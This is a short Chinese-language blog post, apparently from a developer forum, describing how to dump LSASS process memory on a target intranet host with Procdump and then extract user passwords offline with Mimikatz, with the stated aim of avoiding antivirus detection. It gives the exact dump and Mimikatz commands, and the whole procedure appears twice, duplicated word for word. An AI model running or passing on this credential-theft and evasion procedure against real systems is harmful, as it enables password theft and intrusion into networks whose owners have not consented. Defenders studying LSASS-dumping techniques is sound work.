本文介绍如何通过在目标主机上传不可读的Procdump文件，结合本地Mimikatz工具，安全地获取lsass.dmp文件，从而在内网环境中避开杀毒软件，获取用户密码等敏感信息。
Mimikatz属于第三方软件，直接上传到目标主机可能被杀毒软件查杀，这时我们可以配合官方软件Procdump，将Procdump上传目标主机获取用户信息(该文件不可读)，使用本地的Mimikatz打开Procdump获取的用户信息。
- 上传Procdump到内网主机中，然后执行以下命令，获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
- 将生成的dmp文件移动到Mimikatz的机器中，运行以下命令，然后就能够首先在靶机上运行mimikatz一样的效果，并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Mimikatz属于第三方软件，直接上传到目标主机可能被杀毒软件查杀，这时我们可以配合官方软件Procdump，将Procdump上传目标主机获取用户信息(该文件不可读)，使用本地的Mimikatz打开Procdump获取的用户信息。
- 上传Procdump到内网主机中，然后执行以下命令，获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
- 将生成的dmp文件移动到Mimikatz的机器中，运行以下命令，然后就能够首先在靶机上运行mimikatz一样的效果，并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
扫一扫
2643
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
